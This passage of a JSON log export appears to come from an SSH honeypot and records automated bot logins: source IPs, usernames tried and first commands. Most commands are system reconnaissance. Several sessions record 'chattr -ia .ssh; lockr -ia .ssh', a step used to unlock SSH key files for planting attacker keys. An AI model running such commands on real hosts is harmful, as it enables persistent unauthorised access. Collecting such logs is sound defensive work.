  "transcript_bytes": 0
 },
 {
  "id": "2955a9ca-9f9f-4ad1-be9b-2b26d27fdb9f",
  "name": "gritty-curious-hornbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59024,
  "username": "bob",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 475,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:06:59.159552+00:00",
  "ended_at": "2026-08-26T13:07:09.199026+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "699b5ba3-a1dc-44d2-8725-7274058f1cd8",
  "name": "wistful-airy-goldcrest",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 42176,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 438,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:06:33.377642+00:00",
  "ended_at": "2026-08-26T13:06:38.401369+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "db7cbb08-bbd5-4234-a1aa-6b28c518b103",
  "name": "lofty-nimble-gannet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 58896,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 420,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:06:22.576133+00:00",
  "ended_at": "2026-08-26T13:06:28.082888+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "cf15a45f-7bf5-4ed2-8c73-913244291c87",
  "name": "fleeting-fearless-hoopoe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56030,
  "username": "odoo",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 500,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:06:14.699215+00:00",
  "ended_at": "2026-08-26T13:06:19.261850+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2d2e853f-9601-45fd-88c7-50e0185449b5",
  "name": "diligent-brisk-bonobo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 58080,
  "username": "dev",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 425,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:05:59.105503+00:00",
  "ended_at": "2026-08-26T13:06:02.506815+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5e9af4b1-6680-4af0-987d-d501bddd358c",
  "name": "restless-languid-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 53990,
  "username": "runner",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 334,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:05:45.420671+00:00",
  "ended_at": "2026-08-26T13:05:50.597065+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e4017d32-77a2-44b2-97fd-df3742c4c66e",
  "name": "mossy-hushed-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 40132,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 392,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:05:31.414558+00:00",
  "ended_at": "2026-08-26T13:05:37.478104+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "63b7fd2c-8332-42a5-9ab7-b62c08f668b3",
  "name": "supple-painted-eagle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 44104,
  "username": "fastuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 499,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:05:23.453326+00:00",
  "ended_at": "2026-08-26T13:05:26.258138+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9984a96a-220a-40e1-b891-4b866755ad3f",
  "name": "muted-clever-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 40758,
  "username": "steam",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 387,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:05:12.424812+00:00",
  "ended_at": "2026-08-26T13:05:17.009675+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6c7701fb-a197-4086-b723-cd225bf6f9b4",
  "name": "lawful-crisp-warbler",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 44142,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 411,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:04:55.844694+00:00",
  "ended_at": "2026-08-26T13:05:01.436182+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d2293fc2-a616-4559-aee6-ece9c0f1e1b7",
  "name": "pristine-lucid-teal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 49498,
  "username": "player",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:04:50.706215+00:00",
  "ended_at": "2026-08-26T13:04:51.540816+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1e27eab1-9396-42d7-8b1a-a2c9cdb53f58",
  "name": "smoky-freckled-cougar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 49492,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:04:45.597438+00:00",
  "ended_at": "2026-08-26T13:04:47.529614+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "65e48b72-2f66-4b8a-ae87-d2bc33a985aa",
  "name": "earnest-hearty-rook",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 55420,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 485,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:04:43.959301+00:00",
  "ended_at": "2026-08-26T13:04:46.688241+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "70313608-fc37-40d7-a38b-ebb60e1ada05",
  "name": "gleaming-slender-alpaca",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 49484,
  "username": "player",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:04:42.600307+00:00",
  "ended_at": "2026-08-26T13:04:43.510870+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "fb14a4c6-70d7-49b9-ba60-bdfb4eba4605",
  "name": "loyal-icy-tern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 40110,
  "username": "rocky",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:04:37.417457+00:00",
  "ended_at": "2026-08-26T13:04:42.815342+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "937fd496-8b8d-4d18-9d76-51ef1e424527",
  "name": "feathered-wiry-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 36916,
  "username": "rocky",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 406,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:04:33.320826+00:00",
  "ended_at": "2026-08-26T13:04:42.816370+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "8daaf554-45db-42dd-93d8-9839ef25bf42",
  "name": "coastal-rapid-sandpiper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.191.145.50",
  "src_port": 53211,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:04:31.611661+00:00",
  "ended_at": "2026-08-26T13:04:33.122844+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bd76cd03-9eb6-4134-a6ab-6a73d0e456ca",
  "name": "blunt-ginger-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "211.225.139.200",
  "src_port": 58822,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 390,
  "probe_flagged": 0,
  "exec_command": "echo 'VERIFY_1787749321868993800_1846'",
  "started_at": "2026-08-26T13:04:27.224457+00:00",
  "ended_at": "2026-08-26T13:05:00.889105+00:00",
  "ended_reason": "exec complete",
  "commands": 2,
  "transcript_bytes": 110
 },
 {
  "id": "4e755372-ab01-4770-8324-a8731864bf2f",
  "name": "prairie-indigo-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 33138,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 498,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:04:12.487234+00:00",
  "ended_at": "2026-08-26T13:04:16.852233+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d40f5bc3-1892-481a-8d45-dffa6dc0de65",
  "name": "slender-brisk-agouti",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 45462,
  "username": "minecraft",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 760,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:04:00.585731+00:00",
  "ended_at": "2026-08-26T13:04:06.542460+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8f2517a8-9b81-4627-a2b1-25e12ce9fbb1",
  "name": "curious-hushed-skylark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52070,
  "username": "test",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 475,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:03:49.409514+00:00",
  "ended_at": "2026-08-26T13:03:55.064198+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "01279e8d-74b4-4475-8a39-5718293a37ed",
  "name": "golden-windswept-egret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 55392,
  "username": "tomcat",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:03:41.544637+00:00",
  "ended_at": "2026-08-26T13:03:50.300564+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f05870be-e948-4f35-9845-7056f21e5861",
  "name": "marbled-whispering-mallard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 53458,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 728,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:03:36.544608+00:00",
  "ended_at": "2026-08-26T13:03:39.753382+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a4849071-32f5-435c-86f8-e22071497d75",
  "name": "patient-supple-sparrow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 42252,
  "username": "tomcat",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 589,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:03:35.326813+00:00",
  "ended_at": "2026-08-26T13:03:50.301692+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "d8f0e57d-3609-4de6-9827-c7e242da590a",
  "name": "vernal-somber-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 48412,
  "username": "debian",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 456,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:03:08.287276+00:00",
  "ended_at": "2026-08-26T13:03:12.854280+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1122d674-988f-4327-946b-18e43ace3177",
  "name": "genial-sandy-quokka",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 58624,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 395,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:02:52.815945+00:00",
  "ended_at": "2026-08-26T13:02:57.921398+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "78590128-71dc-4236-bf9d-2ac2cdf57a11",
  "name": "wandering-tangled-wheatear",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "43.165.170.119",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:02:46.889824+00:00",
  "ended_at": "2026-08-26T13:17:57.127378+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "293757c4-5e8d-4346-8217-dc02dcbffbff",
  "name": "stormy-flinty-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35480,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 539,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:02:41.676587+00:00",
  "ended_at": "2026-08-26T13:02:47.041043+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d29f29d8-275c-4952-b9e7-1e22a15c582e",
  "name": "candid-grassy-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 45808,
  "username": "user1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 541,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:02:24.039645+00:00",
  "ended_at": "2026-08-26T13:02:27.602003+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2fec5b3a-920a-4b11-8701-03e528823c24",
  "name": "rugged-languid-sandpiper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60708,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 545,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:02:11.644728+00:00",
  "ended_at": "2026-08-26T13:02:16.221349+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "01b8a734-3a39-4bce-bc22-9b580a4c5140",
  "name": "diligent-deft-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52278,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 584,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:02:00.588297+00:00",
  "ended_at": "2026-08-26T13:02:03.403056+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "34631e90-210c-4ee9-b12a-f652f76efbf7",
  "name": "velvet-distant-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 45010,
  "username": "devops",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 438,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:01:52.220137+00:00",
  "ended_at": "2026-08-26T13:01:58.365176+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4cf3a999-53f5-4ecd-85fb-0df56d958da7",
  "name": "golden-russet-francolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 49304,
  "username": "nebula",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:01:49.698000+00:00",
  "ended_at": "2026-08-26T13:01:51.493792+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e9b42733-deec-4dbb-8cb7-f98951132554",
  "name": "dutiful-burly-egret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 49298,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:01:44.439356+00:00",
  "ended_at": "2026-08-26T13:01:46.249688+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "360fe506-4e9d-48b8-8520-6c6d182fd811",
  "name": "tidal-mindful-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 49286,
  "username": "nebula",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:01:40.711904+00:00",
  "ended_at": "2026-08-26T13:01:42.412418+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "9bdbf05b-31f2-49de-8861-c89fed1ec625",
  "name": "prairie-weathered-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 33254,
  "username": "node",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 443,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:01:33.497459+00:00",
  "ended_at": "2026-08-26T13:01:36.590962+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6cdf4cde-d6f0-488c-899a-8ec01dd233ab",
  "name": "spirited-gritty-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35904,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 632,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:01:20.957737+00:00",
  "ended_at": "2026-08-26T13:01:23.849729+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f4ad7d75-21da-44ea-9187-ebe2a3b31931",
  "name": "solar-reedy-adder",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 47410,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 468,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:01:13.193016+00:00",
  "ended_at": "2026-08-26T13:01:18.716739+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6f907c85-c3a1-495f-9d5d-243ae3465460",
  "name": "mottled-sooty-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 41720,
  "username": "student",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 429,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:00:57.146459+00:00",
  "ended_at": "2026-08-26T13:01:02.990032+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "df2df546-2caa-4d78-99f7-6e2a89946cb3",
  "name": "silent-distant-gazelle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39664,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 625,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:00:43.800764+00:00",
  "ended_at": "2026-08-26T13:00:49.066384+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c73b1486-871f-4272-9356-b64e25516c3c",
  "name": "solar-genial-osprey",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 35940,
  "username": "amine",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:00:29.658256+00:00",
  "ended_at": "2026-08-26T13:00:37.107424+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ec51c693-298e-48b2-96e4-a6ef273e7082",
  "name": "wiry-brisk-kudu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60690,
  "username": "sftpuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 595,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:00:28.600251+00:00",
  "ended_at": "2026-08-26T13:00:34.854002+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7518527c-896a-4cc7-80fa-fe707fcbd50e",
  "name": "ginger-clever-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 33746,
  "username": "amine",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 522,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:00:24.750074+00:00",
  "ended_at": "2026-08-26T13:00:37.108778+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "0237adba-8006-4803-ae6c-6f3be4d08987",
  "name": "lunar-sullen-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35700,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 527,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:00:06.462888+00:00",
  "ended_at": "2026-08-26T13:00:10.211650+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "647c52c5-9b13-4de4-a5e0-e5722440c318",
  "name": "sooty-craggy-ermine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39628,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 466,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:59:50.000331+00:00",
  "ended_at": "2026-08-26T12:59:55.318674+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "71a53a8c-b9e0-4df7-8842-e952c47580e9",
  "name": "graceful-salty-hummingbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 36608,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 440,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:59:34.489086+00:00",
  "ended_at": "2026-08-26T12:59:38.139659+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6d82f022-f00a-4ab5-b392-fceecf5430d4",
  "name": "patient-boreal-dunlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 60658,
  "username": "cloud",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:59:30.361611+00:00",
  "ended_at": "2026-08-26T12:59:38.168851+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cc6a2bb2-e48a-4681-962e-68af2389e1df",
  "name": "humble-upland-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 40682,
  "username": "cloud",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 568,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:59:26.181398+00:00",
  "ended_at": "2026-08-26T12:59:38.167672+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1664
 },
 {
  "id": "c4001c4a-2129-414a-9db4-36677973a1a1",
  "name": "drifting-cosmic-lark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 49088,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 934,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:59:15.601396+00:00",
  "ended_at": "2026-08-26T12:59:17.012599+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "211683c5-ca3b-46d2-ba0f-96b52d501c7e",
  "name": "oaken-mindful-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60430,
  "username": "nexus",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 387,
  "probe_flagged": 0,
